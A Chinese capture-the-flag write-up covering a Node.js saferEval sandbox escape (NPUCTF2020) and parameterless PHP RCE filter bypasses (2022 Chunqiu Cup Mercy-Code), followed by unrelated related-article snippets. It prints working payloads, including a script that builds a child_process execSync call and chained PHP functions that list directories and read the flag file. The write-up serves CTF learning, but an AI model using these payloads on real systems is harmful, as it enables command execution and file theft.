3月19日做题
[NPUCTF2020]验证🐎
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))
用数组绕过first='1'&second=[1]
这里正则规律过滤位(Math.)
(?:Math(?:\.\w+)?) : 匹配 “Math” 后面可能跟着一个点和任意单词字符的部分,整个部分是一个非捕获型分组。
| : 或运算符,表示两边任选其一。
[()+\-*/&|^%<>=,?:] : 匹配括号、加号、减号、乘号、除号、与操作符、或操作符、异或操作符、取模操作符、小于号、大于号、等于号、逗号、冒号和问号中的任意一个字符。
| : 或运算符
(?:\d+\.?\d*(?:e\d+)?) : 匹配数字,可以包括小数点和科学计数法表示。
| : 或运算符
/g : 匹配空格
function saferEval(str) {if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {return null;}return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个const template = fs.readFileSync('./index.html').toString();
function render(results) {return template.replace('{{results}}', results.join('<br/>'));
}
最好用脚本,burp容易出错
抄的脚本
import re
encode = lambda code: list(map(ord,code))
#decode = lambda
code: "".join(map(chr,code)) a=f""" (m0=>( m0=m0.constructor, m0.x=m0.constructor( m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")}) )() ))(Math+1) """ print(a+'\n') a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math") print(a)
2022春秋杯冬季赛
ez_php
2022年春秋春季赛
Mercy-Code
无参数rce的plus
过滤比较严格,通过两个脚本,找到所有内置函数,和可以使用的函数
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {echo fputs($file,$key."\r\n");
}
fclose($file);
?>
这里我写一个关于无参数rce的总结,之前一直遇到就是传统的无参数,没有过滤函数。
RCE主题之无参数
常规的无参数rce题目,要求字母开头跟着()镶嵌.
举例
var_dump(get_cwd());
system(next(getallheaders()));
这种形式可以符合题型要求
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { eval(\$_GET['star']);
}
但如果题目进行升级,过滤var_dump,system等这些常规函数,有哪些特别函数可以用来进行rce,又该如何构造?
这里以[2022春秋杯]Mercy-code来进行讲解,明显发现题目变化主要在过滤,\w换成了[a-z_]其实就是大写和数字去掉了,本来也不影响的。
<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {$cmd = $_POST['cmd'];if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {die('What are you thinking?');} else {eval($cmd);}} else {die('Please calm down');}
}
这里因为能力有限,脚本函数都是取自大佬的,根源是谁也不知道,但学习就对了。
获取PHP内置函数
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {echo fputs($file,$key."\r\n");
}
fclose($file);
?>
查找能使用的函数
import re
f = open('function.txt','r')
for i in f:function = re.findall(r'/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i',i) if function == [] and not '_' in i:print(i)
这里能找到很多函数,我是从别人的经验里总结了几种方法
uniqid(),这个函数前部分的内容是不变的,每次改变的是后面的内容,自己多次运行后发现前五位是不变的
strrev() 函数将字符串反转
chr 生成ASCII的对应字符
那我们通过strrev取出随机的unqid产生的数字进行转码就能有机会构造出.
我们目标就是先构造能读取当前目录的函数表达式
通过这脚本可以发现是有机会生成.的
<?php
for($i=0;$i<1000;$i++)
echo(chr(strrev(uniqid())));
?>
这里有一点注意,只有php7版本以下对类型不敏感,否则会报错显示chr('12313123')这种无法转化字符串的.
scandir() 返回目录
生成
scandir(chr(strrev(unqid))
找到implode函数
implode() 将一维数组转换成字符串
die() 结束进程,并输出内容,等同于 exit()
echo 可以用die代替
发现成功
发现疑似flag文件在尾部
然后就是读取文件,这里利用end()函数得到文件名
end() 将数组的内部指针指向最后一个单元
show_source() 语法高亮一个文件 highlight_file() 别名
show_source可以用file代替
成功
cmd=show_source(end(scandir(chr(strrev(uniqid())))));
但这里我们如果再提高难度,不在当前目录怎么办?,在上一级的目录
chdir(‘…’) 是 PHP 中用于改变当前工作目录的函数要跳转到上层目录需要构造两个点即chdir('..')
从当前目录返回的值我们有经验知道第二个数组里面就是'..'
,我们可以用next来获取第二个数值
cmd=echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));
成功
还有人问根目录呢?前面随机里本就有/出现,同样可以读取到。
再增加难度,如果说这个unqid不能使用怎么办.
方法plus
搜索headers头查找到apache_request_headers()
发现end(apache_request_headers()可以获得80
通过三角函数我们尝试去获得46,chr(46)=‘.’
ceil() 是 PHP 中用于向上取整的函数
具体方法自己调试
得到如下payload
ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers()))))))))) // 通过运算得到 46
然后我们找到flag位置输出即可cmd=show_source(end(scandir(chr(ceil(sinh(cosh(tan(ceil(cosh(sin(tan(end(apache_request_headers())))))))))))));
除此之外其实还有很多例如
cmd=show_source(end(scandir(next(each(str_split(spl_autoload_extensions()))))));
大家可以自己去研究尝试一下,也许下一次的题就是出题人自己研究的。
相关文章:
3月19日做题
[NPUCTF2020]验证🐎 if (first && second && first.length second.length && first!second && md5(firstkeys[0]) md5(secondkeys[0]))用数组绕过first1&second[1] 这里正则规律过滤位(Math.) (?:Math(?:\.\w)?) : 匹配 …...
Java8中Stream流API最佳实践Lambda表达式使用示例
文章目录 一、创建流二、中间操作和收集操作筛选 filter去重distinct截取跳过映射合并多个流是否匹配任一元素:anyMatch是否匹配所有元素:allMatch是否未匹配所有元素:noneMatch获取任一元素findAny获取第一个元素findFirst归约数值流的使用中…...
构建Helm chart和chart使用管道与函数简介
目录 一.创建helm chart(以nginx为例) 1.通过create去创建模板 2.查看模板下的文件 3.用chart模版安装nginx 二.版本更新和回滚问题 1.使用upgrade -f values.yaml或者命令行--set来设置 2.查看历史版本并回滚 三.helm模板内管道和函数 1.defau…...
深入理解OnCalculate函数的运行机制
文章目录 一、学习 OnCalculate 函数的运行原理的意义二、OnCalculate 函数原型三、OnCalculate 函数在MT4与MT5区别四、OnCalculate 函数的运行原理 一、学习 OnCalculate 函数的运行原理的意义 OnCalculate函数是MQL语言中的一个重要函数,它用于计算技术指标的值。…...
快速从0-1完成聊天室开发——环信ChatroomUIKit功能详解
聊天室是当下泛娱乐社交应用中最经典的玩法,通过调用环信的 IM SDK 接口,可以快速创建聊天室。如果想根据自己业务需求对聊天室应用的 UI界面、弹幕消息、礼物打赏系统等进行自定义设计,最高效的方式则是使用环信的 ChatroomUIKit 。 文档地址…...
nginx实现多个域名和集群
要通过Nginx实现多个域名和集群,你需要配置Nginx作为反向代理服务器,将来自不同域名的请求转发到集群中的相应后端服务器。下面是一个基本的配置示例,你可以根据自己的需求进行修改和扩展。 首先,确保你已经安装了Nginxÿ…...
C. Left and Right Houses
Problem - C - Codeforces 题目分析 <1>0:想被分割至左边; 1:想被分割至右边 <2>使得左右两侧均有一半及其以上的人满意(我*******) <3>答案若有多个,取最接近中间位置的答案 <4…...
缓存与内存:加速你的Python应用
在现代计算中,缓存和内存是提高程序性能的关键组件。在这篇文章中,我们将深入探讨这两个概念,了解它们是如何工作的,以及如何在Python中有效地使用它们来优化你的程序。 缓存与内存:加速你的Python应用 缓存和内存&…...
Go语言之函数、方法、接口
一、函数 函数的基本语法: func 函数名(形参列表)(返回值列表) {执行语句...return 返回值列表 } 1.形参列表:表示函数的输入 2.函数中的语句:表示为了实现某一功能的代码块 3.函数可以有返回…...
【Week Y2】使用自己的数据集训练YOLO-v5s
Y2-使用自己的数据集训练YOLO-v5s 零、遇到的问题汇总(1)遇到git的import error(2)Error:Dataset not found(3)Error:删除中文后,训练图片路径不存在 一、.xml文件里保存…...
蓝桥杯--基础(哈夫曼)
import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Scanner;public class BASIC28 {//哈夫曼书public static void main(String[] args) {Scanner Scannernew Scanner(System.in);int nScanner.nextInt();List<Integer&…...
【Redis内存数据库】NoSQL的特点和应用场景
前言 Redis作为当今最流行的内存数据库,已经成为服务端加速的必备工具之一。 NoSQL数据库采用了非关系型的数据存储模型,能够更好地处理海量数据和高并发访问。 内存数据库具有更快的读写速度和响应时间,因为内存访问速度比磁盘访问速度快…...
JavaScript基础知识2
求数组的最大值案例 let arr[2,6,1,7,400,55,88,100]let maxarr[0]let minarr[0]for(let i1;i<arr.length;i){max<arr[i]?maxarr[i]:maxmin>arr[i]?minarr[i]:min}console.log(最大值是:${max})console.log(最小值是:${min}) 操作数组 修改…...
Linux之线程同步
目录 一、问题引入 二、实现线程同步的方案——条件变量 1、常用接口: 2、使用示例 一、问题引入 我们再次看看上次讲到的多线程抢票的代码:这次我们让一个线程抢完票之后不去做任何事。 #include <iostream> #include <unistd.h> #inc…...
03 龙芯平台openstack部署搭建-keystone部署
#!/bin/bash #创建keystone数据库并授权,可通过mysql -ukeystone -ploongson验证授权登录 mysql -uroot -e “set password for rootlocalhost password(‘loongson’);” mysql -uroot -ploongson -e ‘CREATE DATABASE keystone;’ #本地登录 mysql -uroot -ploo…...
定义了服务器的端口号和Servlet的上下文路径
server: port: 1224 servlet: context-path: /applet 这个配置定义了服务器的端口号和Servlet的上下文路径。 下面是配置的解释: server.port: 1224:这表示服务器应该监听在1224端口上。server.servlet.context-path: /applet:这表…...
AI论文速读 | UniST:提示赋能通用模型用于城市时空预测
本文是时空领域的统一模型——UniST,无独有偶,时序有个统一模型新工作——UniTS,感兴趣的读者也可以阅读今天发布的另外一条。 论文标题:UniST: A Prompt-Empowered Universal Model for Urban Spatio-Temporal Prediction 作者&…...
rabbitmq-spring-boot-start配置使用手册
rabbitmq-spring-boot-start配置使用手册 文章目录 1.yaml配置如下2.引入pom依赖如下2.1 引入项目resources下libs中的jar包依赖如下2.2引入maven私服依赖如下 3.启动类配置如下4.项目中测试发送消息如下5.项目中消费消息代码示例6.mq管理后台交换机队列创建及路由绑定关系如下…...
操作系统知识-操作系统作用+进程管理-嵌入式系统设计师备考笔记
0、前言 本专栏为个人备考软考嵌入式系统设计师的复习笔记,未经本人许可,请勿转载,如发现本笔记内容的错误还望各位不吝赐教(笔记内容可能有误怕产生错误引导)。 本章的主要内容见下图: 1、操作系统的作用…...
Go语言中的锁与管道的运用
目录 1.前言 2.锁解决方案 3.管道解决方案 4.总结 1.前言 在写H5小游戏的时候,由于需要对多个WebSocket连接进行增、删、查的管理和对已经建立连接的WebSocket通过服务端进行游戏数据交换的需求。于是定义了一个全局的map集合进行连接的管理,让所有…...
前端 - 基础 表单标签 -- 表单元素( input - type属性) 文本框和密码框
表单元素 : 在表单域中可以定义各种表单元素,这些表单元素就是允许用户在表单中输入或选择 的内容控件。 表单元素的外观也各不一样,有小圆圈,有正方形,也有方框,乱七八糟的,各种各样…...
关于MySQL模糊搜索不区分大小写
在我们日常使用ORM框架进行模糊查询时,会发现,搜索的结果是不区分关键字的英文大小写的,那这是为什么呢? 原因是MySQL的like本就不区分大小写;如果在建表的时候,没有设置好字段区分大小 //包含j和J的都会被…...
论文阅读——MoCo
Momentum Contrast for Unsupervised Visual Representation Learning 动量在数学上理解为加权移动平均: yt-1是上一时刻输出,xt是当前时刻输入,m是动量,不想让当前时刻输出只依赖于当前时刻的输入,m很大时࿰…...
ARM 寄存器学习:(一)arm多种模式下得寄存器
一.ARM7种状态以及每种状态的寄存器: ARM 处理器共有 7 种不同的处理器模式,在每一种处理器模式中可见的寄存器包括 15 个通用寄存器( R0~R14)、一个或两个(User和Sys不是异常模式,没有spsr寄存器)状态寄存器(cpsr和spsr&…...
【nfs报错】rpc mount export: RPC: Unable to receive; errno = No route to host
NFS错误 问题现象解决方法 写在前面 这两天搭建几台服务器,需要使用nfs服务,于是六台选其一做服务端,其余做客户端,搭建过程写在centos7离线搭建NFS共享文件,但是访问共享时出现报错:rpc mount export: RPC…...
备战蓝桥杯---牛客寒假训练营2VP
题挺好的,收获了许多 1.暴力枚举(许多巧妙地处理细节方法) n是1--9,于是我们可以直接暴力,对于1注意特判开头0但N!1,对于情报4,我们可以把a,b,c,d的所有取值枚举一遍,那么如何判断有…...
QCustomPlot-绘制X轴为日期的折线图
主要代码如下: void Widget::InitQLineXDateAddData() {customPlot new QCustomPlot(this);// 创建日期时间类型的刻度生成器QSharedPointer<QCPAxisTickerDateTime> dateTimeTicker(new QCPAxisTickerDateTime);dateTimeTicker->setDateTimeFormat(&quo…...
腾讯春招后端一面(算法篇)
前言: 哈喽大家好,前段时间在小红书和牛客上发了面试的经验贴,很多同学留言问算法的具体解法,今天就详细写个帖子回复大家。 因为csdn是写的比较详细,所以更新比较慢,大家见谅~~ 就题目而言,…...
Filebeat rpm方式安装及配置
一、使用服务器root用户、filebeat8.11.1版本,rpm安装方式进行安装 curl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-8.11.1-x86_64.rpm sudo rpm -vi filebeat-8.11.1-x86_64.rpm 二、配置核心的采集文件、使用inputs热更方式、配置filebeat本身…...
深入挖掘C语言之——枚举
目录 1. 枚举的定义 2. 枚举常量的赋值 3. 枚举的使用示例 4. 注意事项 在C语言中,枚举(Enum)是一种用户定义的数据类型,用于定义一组具名的整型常量。枚举常常用于提高代码的可读性和可维护性,使程序更易于理解。…...
皖icp合肥网站建设/企业管理培训课程网课免费
void t_GotFocus(object sender, RoutedEventArgs e){var tb sender as TextBox;var gt tb.TransformToVisual(null);Point p gt.Transform(new Point(0, 0));MessageBox.Show(p.X " " p.Y);}...
_x wordpress/网站收录提交工具
编译环境:XP 开发环境:QtCreator4.7.2 编译器:mingw32 第一步:QtCreator运行生成release文件夹; 第二步:将Qt安装目录下bin文件夹下(我的是C\Qt\4.7.2\bin)的动态库文件 libgcc_s_dw…...
手工艺品网站建设侧胡顺/深圳网络营销策划有限公司
1.进入项目目录,找到.project文件,打开 找到 …代码段,添加如下标签内容并保存 <nature>org.eclipse.wst.common.project.facet.core.nature</nature> <nature>org.eclipse.wst.common.modulecore.ModuleCoreNature</n…...
wordpress主题cute/seo推广灰色词
LeetCode-1、两数之和-简单 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那两个整数,并返回他们的数组下标。你可以假设每种输入只会对应一个答案。但是,你不能重复利用这个数组中同样的元素。 代码1…...
网站视频接口 怎么做/域名服务器查询
新建my.ini character-set-serverutf8mb4 collation_serverutf8mb4_unicode_ci...
网站开发需求文档范文/网络营销的分类
给一个用于缩放图片的方法,计算好要缩放的大小,然后用如下方式重绘并保存: UIGraphicsBeginImageContext(size); //size 为CGSize类型,即你所需要的图片尺寸 [sourceImage drawInRect:newImageRect]; //newImageRect指定了图片绘制…...